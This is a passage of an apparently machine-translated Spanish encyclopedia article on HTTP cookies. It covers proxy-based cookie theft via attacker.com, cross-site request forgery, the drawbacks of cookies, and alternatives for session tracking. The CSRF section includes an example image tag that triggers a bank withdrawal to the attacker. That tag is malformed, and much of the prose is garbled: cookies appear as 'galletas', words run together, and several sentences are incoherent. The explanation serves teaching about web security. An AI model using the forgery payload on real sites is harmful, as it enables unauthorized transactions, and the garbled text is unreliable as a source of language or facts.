En versiones antiguas de navegadores, había agujeros de seguridad que permiten a los atacantes de la escritura una solicitud de proxy utilizando XMLHttpRequest. Por ejemplo, una víctima es la lectura de la publicación de un atacante en www.example.com , y el guión del atacante se ejecuta en el navegador de la víctima. La secuencia de comandos genera una solicitud para www.example.com con el servidor proxy attacker.com . Dado que la solicitud es para www.example.com todas example.com las cookies serán enviados junto con la solicitud, pero enrutan a través de servidor proxy del atacante, por lo tanto, el atacante puede cosechar las cookies de la víctima.

Este ataque no funcionaría paraSecuregalleta, desdesegurosgalletas van conconexiones HTTPS, y su protocolo dicta cifrado de extremo a extremo, es decir, la información se encripta en el navegador del usuario y se descifra en el servidor de destinowww.example.com, por lo que los servidores proxy lo haría sólo ven los bits y bytes cifrados.

Cross-site solicitud falsificación

Por ejemplo, Bob podría estar navegando en un foro de chat donde otro usuario, Mallory, ha publicado un mensaje. Supongamos que Mallory ha creado un elemento de imagen HTML que hace referencia a una acción en la página web del banco de Bob (en lugar de un archivo de imagen), por ejemplo,

<> src="http://bank.example.com/withdraw?account=bob&amount=1000000&for=mallory" >
 

Si el banco de Bob guarda su información de autenticación en una cookie, y si la cookie no ha caducado, entonces el intento por parte del navegador de Bob para cargar la imagen presentará el formulario de retiro con su galleta, autorizando una transacción sin la aprobación de Bob.

Inconvenientes de las cookies

Además de los problemas de privacidad, las cookies también tienen algunos inconvenientes técnicos. En particular, no siempre se identifican con precisión los usuarios, que pueden ser utilizados para ataques a la seguridad, y que a menudo están en desacuerdo con la transferencia de estado representacional ( estilo REST) ​​software arquitectónico.

Identificación inexacta

Si más de un navegador se utiliza en un equipo, cada uno por lo general tiene un área de almacenamiento separado para cookies. De ahí que las cookies no identifican a una persona, sino una combinación de una cuenta de usuario, una computadora y un navegador web. Por lo tanto, cualquier persona que utilice varias cuentas, ordenadores o navegadores tiene varios conjuntos de cookies.

Del mismo modo, las cookies no diferencian entre múltiples usuarios que comparten la mismacuenta de usuario, el ordenador y navegador.

Estado inconsistente en el cliente y el servidor

El uso de cookies puede generar una inconsistencia entre el estado del cliente y el estado como se almacena en la cookie. Si el usuario adquiere una cookie y luego hace clic en el botón "Atrás" del navegador, el estado en el navegador por lo general no es el mismo que antes de esa adquisición. A modo de ejemplo, si el carrito de la compra de una tienda en línea se construye el uso de cookies, el contenido de la cesta puede no cambiar cuando el usuario se remonta en la historia del navegador: si el usuario presiona un botón para agregar un artículo en el carrito de compras y a continuación, hace clic en el botón "Volver", el elemento permanece en el carrito de compras. Esto podría no ser la intención del usuario, que posiblemente quería deshacer la adición del artículo. Esto puede conducir a la falta de fiabilidad, confusión y errores. Por lo tanto, los desarrolladores web deben ser conscientes de este problema y aplicar medidas para manejar este tipo de situaciones.

Apoyo inconsistente por los dispositivos

El problema con el uso de las cookies móviles es que la mayoría de los dispositivos no implementan las cookies, por ejemplo, Nokia sólo admite cookies en el 60% de sus dispositivos, mientras que Motorola sólo soporta cookies en el 45% de sus teléfonos. Además, algunos gateways y redes ( Verizon, Alltel, y MetroPCS) Galletas tira, mientras que otras redes simulan las cookies por cuenta de sus dispositivos móviles. También hay variaciones dramáticas en los mercados inalámbricos de todo el mundo; por ejemplo, en el Reino Unido el 94% de los dispositivos de apoyo a las cookies inalámbricas, mientras que en Estados Unidos sólo el 47% los apoyan.

El apoyo a las cookies es mayor en el Lejano Oriente, donde los dispositivos inalámbricos son más comúnmente usados ​​para acceder a la web. Galletas Mobile es una práctica que ya existen en Japón , por lo que el hecho de ver un podcast, un video, TV, al hacer clic en una calculadora de préstamo o una casi todos los dispositivos inalámbricos-cookies se pueden establecer para el seguimiento de mapas en el GPS y la captura de conductas inalámbricas.

Alternativas a las cookies

Algunas de las operaciones que se pueden realizar utilizando cookies también se puede hacer uso de otros mecanismos.

Dirección IP

Algunos usuarios pueden ser rastreados en base a la dirección IP del ordenador que solicita la página. El servidor conoce la dirección IP del equipo que ejecuta el navegador o el proxy, si se usa, y teóricamente podría vincular la sesión de un usuario a esta dirección IP.

Las direcciones IP son, por lo general, no es un método confiable para realizar un seguimiento de una sesión o identificar a un usuario. Muchos equipos diseñados para ser utilizados por un solo usuario, tales como PCs de oficina o PCs para el hogar, están detrás de un traductor de direcciones de red (NAT). Esto significa que varios PCs compartirán una dirección IP pública. Además, algunos sistemas, como Tor, están diseñados para mantener el anonimato de Internet, lo que hace el seguimiento de la dirección IP poco práctico, imposible, o un riesgo de seguridad.

URL (cadena de consulta)

Una técnica más precisa se ​​basa en la incorporación de la información en las direcciones URL. La cadena de consulta parte de laURL es la que se utiliza típicamente para este propósito, pero otras partes se puede utilizar también. La Java Servlet yPHP mecanismos de sesión tanto utilizar este método si las cookies no están habilitadas.

Este método consiste en el servidor web añadiendo cadenas de consulta a los enlaces de una página web que contiene al enviar a un navegador. Cuando el usuario sigue un enlace, el navegador devuelve la cadena de consulta conectada al servidor.

Cadenas de consulta utilizada en esta forma y galletas son muy similares, siendo ambos piezas arbitrarias de información elegidos por el servidor y enviado de vuelta por el navegador. Sin embargo, hay algunas diferencias: desde una cadena de consulta es parte de un URL, si ese URL se reutilizado más adelante, la misma pieza adjunta de información se envía al servidor. Por ejemplo, si las preferencias de un usuario se codifican en la cadena de consulta de una URL y el usuario envía este URL a otro usuario por e-mail , esas preferencias serán utilizados para que otros usuarios también.

Además, incluso si el mismo usuario accede a la misma página dos veces, no hay garantía de que la misma cadena de consulta se utiliza en ambas vistas. Por ejemplo, si el mismo usuario llega a la misma página pero viniendo de una página interna al sitio de la primera vez y de una externa motor de búsqueda de la segunda vez, las cadenas de consulta relativos son típicamente diferentes, mientras que las galletas serían los mismos. Para más detalles, consulte consulta cuerda.

Otros inconvenientes de cadenas de consulta están relacionados con la seguridad: el almacenamiento de datos que identifica una sesión en una cadena de consulta activa o simplifica los ataques de fijación de sesión, ataques de registro referente y otros exploits de seguridad. Transferencia de identificadores de sesión como cookies HTTP es más seguro.

Campos de formulario ocultos

Otra forma de seguimiento de sesión es utilizar los formularios web con campos ocultos. Esta técnica es muy similar al uso de cadenas de consulta URL para contener la información y tiene muchas de las mismas ventajas y desventajas; y si la forma se maneja con el método HTTP GET, los campos en realidad se convierten en parte de la URL del navegador enviará al envío del formulario. Pero la mayoría de las formas se manejan con HTTP POST, lo que hace que la información de forma con los campos ocultos, que se adjunta como entrada adicional que no es ni parte de la URL, ni de una cookie.

Este enfoque presenta dos ventajas desde el punto de vista del seguidor: primero, tener la información de seguimiento colocada en el código HTML y la entrada de la POST y no en la URL significa que no será observado por el usuario medio; segundo, la información de sesión no se copia cuando el usuario copia la dirección URL (para guardar la página en el disco o enviarlo por correo electrónico, por ejemplo).

Este método puede ser utilizado fácilmente con cualquier marco que soporta los formularios web.

window.name

Todos los navegadores web actuales pueden almacenar una cantidad bastante grande de datos (2-32 MB) a través de JavaScript utilizando la propiedad window.name DOM. Estos datos se pueden utilizar en lugar de las cookies de sesión y es también entre dominios. La técnica se puede acoplar con objetos JSON / JavaScript para almacenar conjuntos complejos de variables de sesión en el cliente.

La desventaja es que cada ventana separada o pestaña inicialmente tener un vacío window.name ; en tiempos de la navegación por pestañas, esto significa que las pestañas abiertas de forma individual (iniciación por el usuario) no tendrán un nombre de la ventana. Además window.name se puede utilizar para el seguimiento de los visitantes a través de diferentes sitios web, por lo que es de preocupación para la privacidad en Internet.

En algunos aspectos, esto puede ser más seguro que las cookies, debido a que no impliquen el servidor, por lo que no es vulnerable a la red ataques galletas oler. Sin embargo, si no se toman medidas especiales para proteger los datos, es vulnerable a otros ataques porque los datos están disponibles a través de diferentes páginas web abiertas en la misma ventana o pestaña.

Autenticación HTTP

El protocolo HTTP incluye la autenticación de acceso básico y los protocolos de autenticación de acceso Digest, que permiten el acceso a una página web sólo cuando el usuario ha proporcionado el nombre de usuario y contraseña correctos. Si el servidor requiere este tipo de credenciales para permitir el acceso a una página web, el navegador lo solicite por parte del usuario y, una vez obtenido, el navegador almacena y los envía en cada petición de la página siguiente. Esta información se puede utilizar para realizar el seguimiento del usuario.